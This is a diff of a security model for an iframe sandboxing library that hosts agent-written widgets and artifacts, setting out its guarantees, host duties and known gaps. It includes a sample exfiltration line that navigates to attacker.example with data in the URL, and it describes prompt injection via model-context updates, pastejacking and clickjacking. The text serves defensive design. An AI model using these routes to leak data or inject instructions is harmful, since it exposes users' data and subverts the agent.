- app page's own `frame-ancestors` is yours to set; Porthole never sends it. Name exact origins of
321
- that one product, and drop them when it stops framing you.
322
- - In the nesting `framedBy` is for (the outer page, then your app's page, then content), content
323
- is a descendant of the outer page (P144): it can `postMessage` the outer page (`top`) and every
324
- frame in its tree, and learn the outer page's origin (measured in Chromium and Firefox). No
325
- header stops that. Tell the outer page's authors: every message listener on the outer page and in
326
- each of its frames must check `event.source` and `event.origin`, taking a message only from the
327
- window and origin it expects (your app's page), and treat any other as content's untrusted word.
328
- S7's rule now covers the outer page's frames: what content was given can be handed to any frame
329
- the outer page shows, so the widest network among them is content's way out.
330
- - Under the app runtime, run `defineRuntimeConformance` with `api` in CI (§7).
141
+ - **Your own dialogs.** A confirmation or consent you draw needs the default dialog's protections:
142
+ on the host's page outside every frame, the call's whole effect shown, Cancel focused, the accept
143
+ button ignoring presses for 500 ms after it opens (so a click meant for the content can't land on
144
+ it). The React binding's dialog does this for confirmations; consent is always the host's own UI.
145
+ Your own copy notice shows what went on the clipboard (S1).
146
+ - **Content's text** (its errors, a blocked navigation's address, an annotation's quoted text): show
147
+ it only as text, never as HTML.
148
+ - **Fallbacks.** Draw a frame's fallback (`frameFallback`'s words, or your own) from its `outcome`
149
+ alone, never from a message read off the frame's window. Log the `frame-status` and `door` host
150
+ errors and show nothing for them. What each outcome's word is worth: §7 "The host's fallback".
151
+ - **Annotations and find in page** (§7). Take reports as UI hints (where to draw, what to open),
152
+ never as permissions, and put nothing in a mark the page may not know. A mark's place in the
153
+ document (`documentRect`, with the report's `scroll`, P132), its last line's
154
+ (`lastLineDocumentRect`, P133) and the point an element was picked at (`pointDocument`, P150)
155
+ aren't clamped to the frame: clip what you draw from them to the frame's box, or to your own
156
+ region beside it. The page reads every query your find bar sends
157
+ (P131): declare `find` only for displays whose pages may learn what the person searches for (not a
158
+ third-party app with egress, S5, unless you accept that). Take its counts as the bar's numbers,
159
+ and open your bar on `findRequested`, nothing more.
160
+ - **Guard a view a frame's report opens or moves** (`activated`, `anchored`, `selected`, `tracked`,
161
+ `selectionTracked`): a comment's bubble, a composer, a card following its mark, a composer
162
+ following the selection (P138). The page picks when and where it appears, moves it up to 60 times
163
+ a second, and hides and reshows it with `inView`, so it can put it under a press meant for the
164
+ content (a double click on the content's button whose second click lands on the bubble). Such a
165
+ view, its menus and popovers included, portaled ones too (P105; code, the view `inert` while it
166
+ arms: ADOPTING.md § Annotations):
167
+ - takes no press of any kind for 500 ms after it appears or moves, nor one begun before (not a
168
+ `click` only: menu triggers act on `pointerdown`, menu items click on a release);
169
+ - opens beside the frame, not over the report's box, where the layout allows, and takes no focus
170
+ when it opens;
171
+ - has nothing one click away that posts, submits, resolves, deletes or discards (a draft's view,
172
+ P107, too: no "Post" or "Submit review").
173
+
174
+ Two exceptions to "no focus". *First (P112):* in a comment mode the person started (the host's own
175
+ control, never a report), a composer their selection opens (`selected`) may take focus with
176
+ `focusField` if all it can do is save a draft: nothing in it posts, submits or sends; Enter only
177
+ adds the draft to the batch (only the host's own "Submit N" control, outside the composer,
178
+ submits); it shows plainly that it is a draft; and the rest of the guard holds. The page still
179
+ picks when `selected` comes, so it can steer the next keys into a draft the person sees and can
180
+ discard, never send one. Otherwise it takes no focus. *Second (P134):* a host may move focus into
181
+ a view a report opened if its own `document.activeElement` is this frame, the focus goes only to a container that takes no input
182
+ (`tabindex="-1"`), never a field or button, and every control in the view that can write has the
183
+ host's own gate, so a forged opening and the keys after it can't submit. The gate covers keys too:
184
+ the view's key handlers and the host's page-wide shortcuts that write (an `r` that resolves,
185
+ Cmd+Enter that posts) need it (P137). That is the host's duty; Porthole doesn't guarantee it.
186
+ - **The keyboard.** A display can take it (§7 "The keyboard"). Where a field must never lose a key
187
+ to a page, show no untrusted display beside it. Move focus into a display with `display.focus()`,
188
+ into your composer with `focusField(field)`, not the field's `focus()` (Firefox ignores that while
189
+ a frame that takes focus back on its blur holds it).
190
+ - **`annotations.focusMark(id)`.** Call it only as the person's key closes your view of that mark.
191
+ It can be dropped, silently (P135, P137): one that waits while the frame finds its marks, or
192
+ reaches the frame over 100 ms after you sent it because its page is busy, lands only if the focus
193
+ is in the frame by then, and normally it is on your `<body>`. If it is still there a moment later
194
+ the person hasn't moved on: `display.focus()`, then `focusMark(id)` again. Check first: that move
195
+ is yours, and after the person went on to a button of yours it takes the keyboard from them.
196
+ Nothing leaks either way.
197
+ - **`appOrigins`** (`hostOrigins` in `/server`): list every app origin. Only those may frame
198
+ content, are a frame's host (heard and told), and are checked against the content domain for a
199
+ shared site.
200
+ - **`framedBy`** (P141). Where another app frames yours, name its origins in `framedBy`, never
201
+ `appOrigins`: it may then be an ancestor of your frames, above your page, never their host; your
202
+ page must still be the frame's parent. An outer page that frames content directly (with an address
203
+ got elsewhere) is let in by the browser, but the frame takes nothing from it (no handshake, no
204
+ host function), Porthole's pages tell it nothing, and it hears only content's own word to its
205
+ parent (`*`), untrusted. Your app page's `frame-ancestors` is yours to set; Porthole never sends
206
+ it. Name exact origins of that one product; drop them when it stops framing you.
207
+ - **The outer page** (P144). In that nesting (outer page, your app's page, content), content is a
208
+ descendant of the outer page: it can `postMessage` the outer page (`top`) and every frame in its
209
+ tree, and learn the outer page's origin (measured in Chromium and Firefox); no header stops that.
210
+ Tell its authors: every message listener on the outer page and its frames must check
211
+ `event.source` and `event.origin`, take a message only from the window and origin it expects (your
212
+ app's page), and treat any other as content's untrusted word. By S7's rule, the widest network
213
+ among the outer page's frames is content's way out.
214
+ - **The app runtime.** Run `defineRuntimeConformance` with `api` in CI (§7).
331
215
 
332
216
  ### S1. Inline widgets in a conversation
333
217
 
334
218
  `presets.inlineWidget`: a card the agent wrote, drawn in an opaque `srcdoc` frame as it streams.
335
219
 
336
220
  **Porthole guarantees**
337
-
338
- - An opaque origin: `sandbox="allow-scripts"` only, so no forms, popups, downloads, top or parent
339
- navigation, and nothing of the host's DOM, storage or cookies.
340
- - A closed network. The frame's CSP has `default-src 'none'`, `connect-src 'none'` (until a
341
- capability or the egress config names an origin), `form-action 'none'`, `frame-src 'none'`,
342
- `base-uri 'none'`, `object-src 'none'` and `webrtc 'block'`, and no `'self'` anywhere. Before
343
- content runs, the shell removes the `RTC*` constructors, drops nested frames, plugins and
344
- resource hints as they are inserted, and makes `document.open` and `write` throw. Where the host
345
- opts into the content's own frames (`nestedFrames: "own"`, P128; off by default), the shell keeps
346
- `srcdoc` iframes (an inline widget has no files of its own) and drops every other frame and
347
- plugin as before, a kept frame included once a change would point it elsewhere.
221
+ - An opaque origin, `sandbox="allow-scripts"` only: no forms, popups, downloads, top or parent
222
+ navigation; nothing of the host's DOM, storage or cookies.
223
+ - A closed network. The CSP has `default-src 'none'`, `connect-src 'none'` (until a capability or
224
+ the egress config names an origin), `form-action 'none'`, `frame-src 'none'`, `base-uri 'none'`,
225
+ `object-src 'none'`, `webrtc 'block'`, and no `'self'` anywhere. Before content runs the shell
226
+ removes the `RTC*` constructors, drops nested frames, plugins and resource hints as they are
227
+ inserted, and makes `document.open` and `write` throw. With `nestedFrames: "own"` (P128, off by
228
+ default) it keeps `srcdoc` iframes and drops every other frame and plugin, a kept one too once a
229
+ change would point it elsewhere.
348
230
  - While it streams, drafts are drawn inert (no scripts, handlers or navigation); the whole runs
349
231
  once.
350
232
  - Only the host functions the config declares exist, each behind its default gates:
351
233
 
352
234
  | Host function | Default gates |
353
235
  | --- | --- |
354
- | `sendPrompt` | a user gesture, then the host's confirmation, given the whole text |
355
- | `openLink` | a gesture and a confirmation; http(s) only, no credentials in the URL |
356
- | `downloadFile` | a gesture and a confirmation |
236
+ | `sendPrompt` | the host's confirmation, given the whole text; 30 a minute |
237
+ | `openLink` | a confirmation; http(s) only, no credentials in the URL; 30 a minute |
238
+ | `downloadFile` | a confirmation; 30 a minute |
357
239
  | `copyText` | a gesture, 30 a minute; the host writes the clipboard |
358
240
  | `callTool` | a confirmation, 30 a minute |
359
241
  | `setModelContext` | 30 a minute, then the host's `show`: the person sees the whole update first |
360
242
  | `readData`, `subscribeData` | 120 and 60 a minute (`liveWidget` adds consent) |
361
243
  | `reportError` | 10 a minute |
362
244
 
363
- - A confirmation needs the host's confirm function: without one, the call is refused (consent and
364
- `show` likewise). Three declined confirmations in a row mute the display's confirm-gated calls,
365
- and at most 10 confirmations wait per display: more are refused (P095).
366
- - Model context (`setModelContext`) goes only once the host's `show` has shown it, after every
367
- other gate. An update is text blocks and plain JSON, at most 20,000 characters, with no
368
- invisible characters, and the manual tells the agent it is the content's unconfirmed text,
369
- never instructions (P100).
370
- - The shell takes messages only from its parent window, and the host only from its frame's
371
- window and origin; both validate every message.
245
+ - Without the host's confirm function, a call that needs a confirmation is refused (consent and
246
+ `show` likewise). Three declined confirmations in a row mute the display's confirm-gated calls; at
247
+ most 10 confirmations wait per display, more are refused (P095).
248
+ - Model context (`setModelContext`) goes only once `show` has shown it, after every other gate: text
249
+ blocks and plain JSON, at most 20,000 characters, no invisible characters. The manual tells the
250
+ agent it is the content's unconfirmed text, never instructions (P100).
251
+ - The shell takes messages only from its parent window, the host only from its frame's window and
252
+ origin; both validate every message.
372
253
  - A frame that navigates is started again, at most three times; the next navigation stops the
373
- display. A display of a file set may hold such a frame for up to 2 s first, in case it was a page
374
- of its own set, delivering nothing either way while it waits (P098).
254
+ display. A file set's display may first hold such a frame up to 2 s, in case it was a page of its
255
+ own set, delivering nothing either way meanwhile (P098).
375
256
 
376
257
  **The host must**
377
-
378
- - Send the page's `frame-src` (`displays.embedderCsp(…)`; `frame-src 'none'` where all displays
379
- are opaque). An opaque frame can navigate itself away with data in the URL
380
- (`location = "https://attacker.example/?" + data`): its own CSP can't stop that, and the shell
381
- gets no navigation events in an opaque origin. The embedding page's `frame-src` is the only
382
- wall.
383
- - Run `defineHostConformance` against its real page in CI. It runs the leak probes there, the
384
- self-navigation ones included, and it is the only check that the page sends that CSP: nothing
385
- checks it when a display mounts.
258
+ - Send the page's `frame-src` (`displays.embedderCsp(…)`; `frame-src 'none'` where all displays are
259
+ opaque). It is the only wall against an opaque frame navigating itself away with data in the URL
260
+ (`location = "https://attacker.example/?" + data`): the frame's CSP can't stop that, and the shell
261
+ gets no navigation events in an opaque origin.
262
+ - Run `defineHostConformance` against its real page in CI: it runs the leak probes there,
263
+ self-navigation included, and is the only check that the page sends that CSP (nothing checks it
264
+ when a display mounts).
386
265
  - Keep `anyHttps` off inline widgets: an image URL is a way out (P059).
387
266
  - Show what a copy put on the clipboard. The React binding's toast shows at most its first four
388
- lines and 280 characters; a host's own `copyText` handler replaces the toast, and must show it
267
+ lines and 280 characters; a host's own `copyText` handler replaces the toast and must show it
389
268
  itself.
390
269
 
391
270
  **Not guaranteed**
392
-
393
271
  - On a page without that `frame-src`, a widget can send out whatever it was shown.
394
- - With `nestedFrames: "own"` (P128, the host's choice), a widget's `srcdoc` frame is a realm where
395
- none of the shell's defenses ran: it has WebRTC (a way out past `connect-src`, closed only where
396
- an engine honors `webrtc 'block'`), resource hints, `document.write`, and `execCommand("copy")`
397
- and copy listeners from a click in it (text the person didn't choose on their clipboard, with no
398
- notice). The frame's CSP, which it inherits, still holds for everything else.
399
- - `copyText` needs only a gesture, not a confirmation: a widget can put text the person didn't
400
- choose on their clipboard when they click in it (pastejacking). The notice above is what tells
401
- them.
402
- - Shown isn't read: the person may not look at a model-context update, or not see an injection
403
- in it for what it is, and characters that draw as a blank (a no-break space, the wide spaces)
404
- pass, a few bits each, bounded by the length limit (P100, accepted). A host that opts out of
405
- `show` (`withoutShow: true`) lets content write into the model's turns text nobody saw (S5).
406
- - The host's gesture check reads its own page's `navigator.userActivation` (in an engine without
407
- it, the check passes). A gesture shows a moment of intent, not consent: the person may have
408
- clicked the host a moment before.
272
+ - With `nestedFrames: "own"` (P128, the host's choice), a `srcdoc` frame is a realm where none of
273
+ the shell's defenses ran: WebRTC (a way past `connect-src`, closed only where an engine honors
274
+ `webrtc 'block'`), resource hints, `document.write`, and `execCommand("copy")` and copy listeners
275
+ from a click in it (text the person didn't choose on their clipboard, no notice). The CSP it
276
+ inherits holds for the rest.
277
+ - `copyText` needs a gesture, not a confirmation: a widget can put text the person didn't choose on
278
+ their clipboard when they click in it (pastejacking). The notice tells them.
279
+ - Shown isn't read: the person may not look at a model-context update, or not see an injection in it
280
+ for what it is. Characters that draw blank (a no-break space, the wide spaces) pass, a few bits
281
+ each, bounded by the length limit (P100, accepted). Opting out of `show` (`withoutShow: true`)
282
+ lets content write text nobody saw into the model's turns (S5).
283
+ - The gesture check (`copyText`'s, and any a host names) reads the host page's
284
+ `navigator.userActivation`, and passes in an engine without it. A gesture shows a moment of
285
+ intent, not consent: the person may have clicked the host a moment before.
286
+ - `sendPrompt`, `openLink` and `downloadFile` ask no proof of a click: a widget can ask as it loads,
287
+ bounded by the confirmation, the rate and the mute (§5).
409
288
  - Availability ([§5](#5-out-of-scope)).
410
289
 
411
290
  ### S2. Live widgets: content that reads the host's data
412
291
 
413
- `presets.liveWidget`: an inline widget that shows the host's data, current, as the viewer may see
414
- it.
415
-
416
- **Porthole guarantees**, with the preset's defaults (see the host's duties below for what undoes
417
- them):
292
+ `presets.liveWidget`: an inline widget showing the host's data, current, as the viewer may see it.
418
293
 
419
- - No network of its own: the preset refuses an `egress` option and a capability's own `connect`
420
- or `resource` origins, and the config it returns is frozen (P103). Served, the only scripts it
421
- may load are Porthole's Chart.js and D3, from its own origin (`/__porthole/lib/`).
422
- - Data reaches it only through the host: `readData` and `subscribeData`, each behind `consent`
423
- (asked once per display; without a consent function every data call is refused) and a rate (120
424
- reads and 60 subscriptions a minute).
425
- - A refusal tells the widget why (`data: { code, message }`).
294
+ **Porthole guarantees**, with the preset's defaults (the host's duties below say what undoes them):
295
+ - No network of its own: the preset refuses an `egress` option and a capability's own `connect` or
296
+ `resource` origins, and returns a frozen config (P103). Served, the only scripts it may load are
297
+ Porthole's Chart.js and D3, from its own origin (`/__porthole/lib/`).
298
+ - Data only through the host: `readData` and `subscribeData`, each behind `consent` (asked once per
299
+ display; without a consent function every data call is refused) and a rate (120 reads, 60
300
+ subscriptions a minute). A refusal tells the widget why (`data: { code, message }`).
426
301
  - A result the host pushes with `changed(result)` answers a later read only past `readData`'s own
427
302
  gates, as any read does (P094).
428
- - Served, the shell cancels any navigation of the frame to another document, other than a page of
429
- its own file set, and tells the host (`navigationBlocked`, where `reportError` is declared).
303
+ - Served, the shell cancels any navigation of the frame to another document except a page of its own
304
+ file set, and tells the host (`navigationBlocked`, where `reportError` is declared).
430
305
 
431
306
  **The host must**
432
-
433
307
  - Decide in its handlers what a URI may name, with the viewer's rights: the URI is the content's
434
308
  word.
435
309
  - Ask for consent in its own UI, and keep the answer per viewer and widget.
436
- - Send the page's `frame-src`, and show opaque live widgets only on pages that frame no content
437
- origins (an opaque frame's only wall against navigating away is that `frame-src`).
310
+ - Show opaque live widgets only on pages that frame no content origins: the page's `frame-src` is an
311
+ opaque frame's only wall against navigating away.
438
312
  - Not build a config of its own from the preset's (`{ ...presets.liveWidget(), egress }`, a
439
- capability with origins): that config isn't the preset, and opens what it names.
313
+ capability with origins): that isn't the preset, and opens what it names.
440
314
  - Not pass `readData` or `subscribeData` in `options.capabilities` without their gates: an entry
441
315
  there replaces the preset's, consent included.
442
316
  - Follow the composition rule (S7): no url-mode or `anyHttps` displays on the same page.
443
317
 
444
318
  **Not guaranteed**
445
-
446
319
  - What a neighbouring frame does with data handed to it (S7).
447
320
  - In an engine without the Navigation API, a served frame's navigation falls back to the page's
448
321
  `frame-src`: outside sites stay shut, other content origins don't (P079).
449
- - `LIBRARY_CDNS` displays are allowed on the same page (ADOPTING.md), but they reach nine
450
- origins: fetches, scripts, styles, fonts and images to four package CDNs (cdnjs, jsDelivr,
451
- unpkg, esm.sh), and scripts, styles or fonts from five more (Google Fonts' two, Tailwind's,
452
- jQuery's and Plotly's). The path of every such request is a narrow channel out, read by that
453
- CDN's operator (P048). Keep highly sensitive data off pages with them.
322
+ - `LIBRARY_CDNS` displays may share the page (ADOPTING.md) but reach nine origins: fetches, scripts,
323
+ styles, fonts and images to four package CDNs (cdnjs, jsDelivr, unpkg, esm.sh), and scripts,
324
+ styles or fonts from five more (Google Fonts' two, Tailwind's, jQuery's and Plotly's). Every such
325
+ request's path is a narrow channel out, read by that CDN's operator (P048). Keep highly sensitive
326
+ data off pages with them.
454
327
 
455
328
  ### S3. Private artifacts
456
329
 
457
- `presets.artifact` with `isolation: "domain"`, served by the host kit to a signed-in viewer.
458
-
459
- Terms used below: a page's **clean address** is its address on its own content origin, with no
460
- ticket in it, the one a person opens in a tab or shares (a path on `<label>.<content domain>`). A
461
- framed page's **sealed files address** is `/__porthole/f/<sealed>/`: the frame's session,
462
- encrypted into the path, since WebKit keeps no cookie in a frame (P083).
330
+ `presets.artifact` with `isolation: "domain"`, served by the host kit to a signed-in viewer (setup:
331
+ [ADOPTING.md](ADOPTING.md) § 4, "The server"). A page's **clean address** is its address on its own
332
+ content origin (a path on `<label>.<content domain>`) with no ticket in it: the one a person opens
333
+ in a tab or shares. A framed page's **sealed files address** is `/__porthole/f/<sealed>/`, the
334
+ frame's session encrypted into the path, since WebKit keeps no cookie in a frame (P083).
463
335
 
464
336
  **Porthole guarantees**
465
-
466
- - An origin per storage scope on the content domain, by default a label made from an HMAC of the
467
- scope under a key derived from the host's secret (120 bits). A label is an address, not a
468
- secret: a host may name labels itself (`prefixedName`), and access is the ticket's and the
469
- cookie's job.
470
- - `createContentHost` refuses a content domain that holds an app origin or may share a site with
471
- one (`ContentDomainError`), and a served mount refuses a content origin same-site with the app.
472
- With `health` configured, frames fall back to opaque while the content domain doesn't answer.
337
+ - An origin per storage scope on the content domain; by default its label is an HMAC of the scope
338
+ under a key derived from the host's secret (120 bits). A label is an address, not a secret (a host
339
+ may name labels itself, `prefixedName`): access is the ticket's and the cookie's job.
340
+ - `createContentHost` refuses a content domain that holds an app origin or may share a site with one
341
+ (`ContentDomainError`), and a served mount refuses a content origin same-site with the app. With
342
+ `health` configured, frames fall back to opaque while the content domain doesn't answer.
473
343
  - Access: the host decides, Porthole carries the decision. A ticket of 160 random bits, stored only
474
344
  as a hash, used once, good for 60 seconds by default and 600 at most, becomes a signed cookie of
475
- that origin and instance: `HttpOnly`; `__Host-` under https; `Secure` under https and always in
476
- a frame; in a frame `SameSite=None; Partitioned`, in a tab `Lax`.
477
- - Only cookies Porthole set are read as its own: under https only `__Host-porthole-` names, which
478
- no other label can set; the entered mark names its label. A session names its scope, signed, so
345
+ that origin and instance: `HttpOnly`; `__Host-` under https; `Secure` under https and always in a
346
+ frame; `SameSite=None; Partitioned` in a frame, `Lax` in a tab.
347
+ - Only cookies Porthole set are read as its own: under https only `__Host-porthole-` names, which no
348
+ other label can set; the entered mark names its label. A session names its scope, signed, so
479
349
  another label's session is never read as this one's, under https or on loopback (P101).
480
- - Pages, files and status pages carry their CSP in headers and `X-Robots-Tag: noindex`, and
481
- `frame-ancestors` names the app's origins only (with `nestedFrames: "own"`, P128, a file set's
482
- files below its base name the page's own origin too, so its pages frame them), then the host's
483
- `framedBy`, if any (P141): ancestors above the app's page, never its host.
484
- - Files: from the version's manifest only, typed by Porthole's table, `nosniff`; files other than
485
- pages are `Cross-Origin-Resource-Policy: same-origin`; a file set never registers a service
350
+ - Pages, files and status pages carry their CSP in headers, and `X-Robots-Tag: noindex`.
351
+ `frame-ancestors` names the app's origins only, then the host's `framedBy`, if any (P141:
352
+ ancestors above the app's page, never its host). With `nestedFrames: "own"` (P128), a file set's
353
+ files below its base also name the page's own origin, so its pages can frame them.
354
+ - Files come only from the version's manifest, typed by Porthole's table, `nosniff`; files other
355
+ than pages are `Cross-Origin-Resource-Policy: same-origin`; a file set never registers a service
486
356
  worker; a page's CSP opens its own version's path, not its whole origin.
487
- - A page's nested frames are removed, a `srcdoc` one and one of its own files alike, unless the
488
- host opts in (`nestedFrames: "own"`, P128). Then an iframe of one of its version's own files or
489
- with `srcdoc` loads and runs (a page of the set with its own shell), and every other frame
490
- (another site, another path of the origin, a scheme, an empty one) and plugin is removed: the
491
- page's `frame-src` opens its version's path alone, which also governs every navigation of its
492
- frames. Not for a nested page (refused).
493
- - With a per-request check (`authorize`), the host decides again on every request; a deny is a
494
- 403 that says `denied`.
495
- - A nested page (`nested: true`, P111): the framed address answers Porthole's shell alone, its
496
- script the only one its CSP runs, framing and fetching only the origin's sealed files' prefix.
497
- **The shell's origin hosts nothing but the shell, its opaque page, the sealed files and status
498
- pages** (P114, porthole#56): the shell, the page and its files are served on a label of the
499
- scope's own, `porthole-<24 base32>` (`nestedLabelOf`), never on the scope's label, where its
500
- other displays (inline and live widgets, MCP apps, artifacts that aren't nested) run agent-made
501
- content with `allow-same-origin`. `/server` holds it: that label answers no clean address,
502
- entry, asset, library, app or other display, and takes no other instance's ticket, cookie or
503
- sealed address; the scope's label answers no nested page (its clean address goes on to the
504
- shell's label with a one-time ticket); no host's naming makes a `porthole-` label. So no
505
- content, of any scope, can read the shell's realm (its word to the host, the page's sealed
506
- address) or drive it (`leak/served/nested-siblings.spec.ts`, negative control `shell-label`).
507
- Porthole holds the shell to that label outside `/server` too (P121), for a content Worker of a
508
- host's own: the host's mount refuses a nested page located on any other label before a frame
509
- is made (a host error, `locate`; negative control `nested-host-label`), the shell frames
510
- nothing and says nothing on any other origin, and `nestedShellResponse` and `frameShellScript`
511
- refuse one. What else such a Worker serves on that label is its own (below).
512
- The page is the shell's child, `sandbox="allow-scripts"` (never `allow-same-origin`, held by a
513
- static check over every sandbox Porthole writes) and the same sandbox in its own CSP, so it is an
514
- opaque origin in its frame and on a tab; it is loaded, and loads its files, at its sealed address
515
- without a cookie, and its files then carry `Cross-Origin-Resource-Policy: cross-origin` and
516
- `Access-Control-Allow-Origin: *` (an opaque page's own loads are cross-origin: the address is
517
- the access, never the request's origin). So whoever holds a page's sealed address can read its
518
- files from any origin, a page of their own included, until the address ends (an hour on its own,
519
- P083): it is a bearer credential, as safe as it is unleaked. Porthole keeps it out of what it
520
- says: no referrer goes with any load (`Referrer-Policy: no-referrer`, the shell's frame
521
- `referrerpolicy="no-referrer"`), the host's reports name it as `./` (P083), and the shell's own
522
- answer is `no-store`. The page itself can read it (its address) and so pass it on by any channel
523
- it has, as it can pass on its files' bytes. The page has none of the origin's storage, and nothing
524
- of the shell's realm: messages between them go by `postMessage`, the page's trusted by
525
- `event.source`, and the shell drops what the page says in the shell's own namespace. Only the
526
- shell (same-origin) renews the page's address; a module the page loaded keeps one that ends
527
- within the hour. Every answer below the sealed prefix carries a CSP sandbox, never
528
- `allow-same-origin` (a page's `allow-scripts`, every other file's runs nothing): a file opened on
529
- a tab of its own (an SVG or XML file with a script) is opaque, never the shell's origin (negative
530
- control `file-sandbox`). The sandbox refuses no worker (measured on the four engines): a nested
531
- page's workers come from Blob URLs (a worker from its set's own script is refused by its opaque
532
- origin, sandbox or not), and those load the set's scripts. Assets and Porthole's libraries aren't
533
- served to a nested page yet.
357
+ - A page's nested frames are all removed unless the host opts in (`nestedFrames: "own"`, P128). Then
358
+ only an iframe of its version's own files or with `srcdoc` runs (a page of the set, with its own
359
+ shell); every other frame (another site, another path, a scheme, an empty one) and plugin is
360
+ removed, and the page's `frame-src`, which opens only its version's path, governs every navigation
361
+ of its frames.
362
+ - With a per-request check (`authorize`), the host decides again on every request; a deny is a 403
363
+ that says `denied`.
534
364
 
535
365
  **The host must**
536
-
537
- - Use the content domain for nothing else, and put it on the Public Suffix List when it can
538
- (P047).
366
+ - Use the content domain for nothing else, and put it on the Public Suffix List when it can (P047).
539
367
  - Give a secret of at least 32 random bytes (`npx porthole secret`). Porthole checks only its
540
- length, and where `health` is configured the health route answers with a value derived from it,
541
- so a guessable secret can be tested offline.
542
- - Give a per-request check (`authorize`) to revoke: sessions are signed and stateless, so without
543
- it a cookie is good for its whole life (an hour by default, up to 30 days). Leave its answers
544
- uncached (the default; `authorizeTtlSeconds` in the host kit) or call `content.forget(…)` when
545
- revoking, or a cached answer holds for up to that long.
546
- - Send the page's `frame-src`.
547
- - With nested pages, route the shell's label (`porthole-<…>.<domain>`) to the content server as
548
- every content label is (a wildcard needs nothing; a pattern of the host's own, `a-*`, must add
549
- it). A content Worker of the host's own serves nested pages on that label alone, and nothing
550
- else there (P114): Porthole refuses the shell anywhere else (P121), but can't see what else a
551
- Worker of the host's own answers on it. Its page's and files' CSPs come from `nestedFileCsp`.
368
+ length, and with `health` configured the health route answers with a value derived from it, so a
369
+ guessable secret can be tested offline.
370
+ - Give a per-request check (`authorize`) to revoke: sessions are signed and stateless, so without it
371
+ a cookie is good for its whole life (an hour by default, up to 30 days). Leave its answers
372
+ uncached (the default; `authorizeTtlSeconds`) or call `content.forget(…)` when revoking; otherwise
373
+ a cached answer holds for up to that long.
552
374
 
553
375
  **Not guaranteed**
554
-
555
- - Until the content domain is on the PSL, its labels are same-site with each other (P047), so a
556
- page on one label can attack another (c). A domain-mode page has `allow-same-origin`, so it can
557
- set cookies for the whole content domain (in a frame, within what the browser allows a
558
- third-party frame). `__Host-` keeps them off its sessions' cookies, but:
559
- - on plain http (loopback dev only) the names have no prefix (WebKit keeps no `Secure` cookie
560
- on a tab there), so a page can plant a copy of a label's own session or entry nonce, for
561
- whoever hands it one: they are `HttpOnly` and never sent into a frame (P101);
562
- - in browsers that refuse no nameless cookie (older than RFC 6265bis), a page can plant a copy
563
- of a session it holds as `=__Host-porthole-…`; siblings can overflow the cookie jar or the
564
- header size (denial of service only);
376
+ - Until the content domain is on the PSL, its labels are same-site with each other (P047), so a page
377
+ on one label can attack another (c). A domain-mode page has `allow-same-origin`, so it can set
378
+ cookies for the whole content domain (in a frame, within what the browser allows a third-party
379
+ frame). `__Host-` keeps them off its sessions' cookies, but:
380
+ - on plain http (loopback dev only) the names have no prefix (WebKit keeps no `Secure` cookie on a
381
+ tab there), so a page can plant a copy of a label's own session or entry nonce, for whoever
382
+ hands it one: they are `HttpOnly` and never sent into a frame (P101);
383
+ - in browsers that refuse no nameless cookie (older than RFC 6265bis), a page can plant a copy of
384
+ a session it holds as `=__Host-porthole-…`; siblings can overflow the cookie jar or the header
385
+ size (denial of service only);
565
386
  - enough large cookies make every request from that browser to the content domain too large to
566
387
  serve ([§5](#5-out-of-scope)).
567
388
  - A sealed files address is a bearer credential for its version's files until the session ends
568
- (P083): anyone holding it can load them. It opens on its own for its first hour, then only for
569
- the page's own loads (`Sec-Fetch-Site: same-origin`), which a client outside a browser can claim.
570
- - A revocation reaches the next request. It doesn't reach a page already running, an open
571
- WebSocket, pinned files the browser cached (immutable for a year), or assets in bearer mode
572
- (§7).
573
- - With `nestedFrames: "own"` (P128), a page has WebRTC: every iframe it keeps starts as an
574
- `about:blank` of its own origin, which it reaches before anything loads there, and a `srcdoc`
575
- frame runs none of the shell's defenses (resource hints, `document.write`, and a click's
576
- `execCommand("copy")` and copy listeners, which put text on the clipboard with no notice). Its
577
- frames can't navigate out of its version's path, and their sandbox is the page's.
389
+ (P083): anyone holding it can load them. For its first hour it opens on its own; after that only
390
+ for the page's own loads (`Sec-Fetch-Site: same-origin`), which a client outside a browser can
391
+ claim.
392
+ - A revocation reaches the next request, not a page already running, an open WebSocket, pinned files
393
+ the browser cached (immutable for a year), or assets in bearer mode (§7).
394
+ - With `nestedFrames: "own"` (P128), a page has WebRTC (every iframe it keeps starts as an
395
+ `about:blank` of its own origin, which it reaches first), and its `srcdoc` frames run none of the
396
+ shell's defenses (S1). Its frames can't navigate out of its version's path; their sandbox is the
397
+ page's.
578
398
 
579
399
  ### S4. Public links, and pages that are apps
580
400
 
581
- A served artifact anyone with its link may open (the host's `access` returns
582
- `{ anonymous: true }`), possibly under the app runtime. It is the riskiest use: the author may be
583
- the attacker (c), and its readers are strangers.
401
+ A served artifact anyone with its link may open (the host's `access` returns `{ anonymous: true }`),
402
+ possibly under the app runtime. The riskiest use: the author may be the attacker (c), and its
403
+ readers are strangers.
584
404
 
585
405
  **Porthole guarantees**
586
-
587
406
  - A public grant opens documents, never url-mode apps.
588
- - A public grant without a `level` has no viewer. Under a runtime, such a page is refused the
407
+ - A public grant without a `level` has no viewer. Under a runtime such a page is refused the
589
408
  runtime's own host functions (`user`, `comments`, `artifact`, `assets`, `db`) and every method
590
- above `view`; with a declaration, it reads only the `data` names it declared (P094; a `data`
409
+ above `view`; with a declaration it reads only the `data` names it declared (P094; a `data`
591
410
  without a `resources` list names them all).
592
- - The page is on a site that isn't the host's (its sibling labels share one until the content
593
- domain is on the PSL, S3); a label is one DNS label, never of the form IDNA reserves (`xn--`),
594
- so it is never punycode for another name; pages say `noindex`; a file of a type Porthole
595
- doesn't know is served as a download.
411
+ - The page is on a site that isn't the host's (its sibling labels share one until the content domain
412
+ is on the PSL, S3). A label is one DNS label, never of the form IDNA reserves (`xn--`), so never
413
+ punycode for another name. Pages say `noindex`. A file of a type Porthole doesn't know is served
414
+ as a download.
596
415
  - `authorize` is the host's takedown switch.
597
- - An embedded document (P143, `Grant.embed`, only where the host set `embeds`): its answers say
598
- `frame-ancestors *` for that session alone, never a reader's; it is anonymous, with no level or
599
- user, an artifact's page that isn't nested; its plan names no host, so it hears no one, Porthole
600
- tells no parent anything, no capability or runtime host function runs, and no door is minted. The
601
- flag is signed into the session and the sealed address. Every other session's answers are, byte
602
- for byte, what the same server without `embeds` answers, while an embed session of the same
603
- artifact exists; cookies stay host-only. The host kit never mints one from `access` (its reader's
604
- issue endpoint and clean addresses refuse an `embed` answer, P145).
605
- - A page opened in a tab of its own has its frame's powers and no more (P099): its CSP header
416
+ - An embedded document (P143, `Grant.embed`, only where the host set `embeds`) is anonymous, an
417
+ artifact's page with no level or user; only its session's answers say `frame-ancestors *`. It
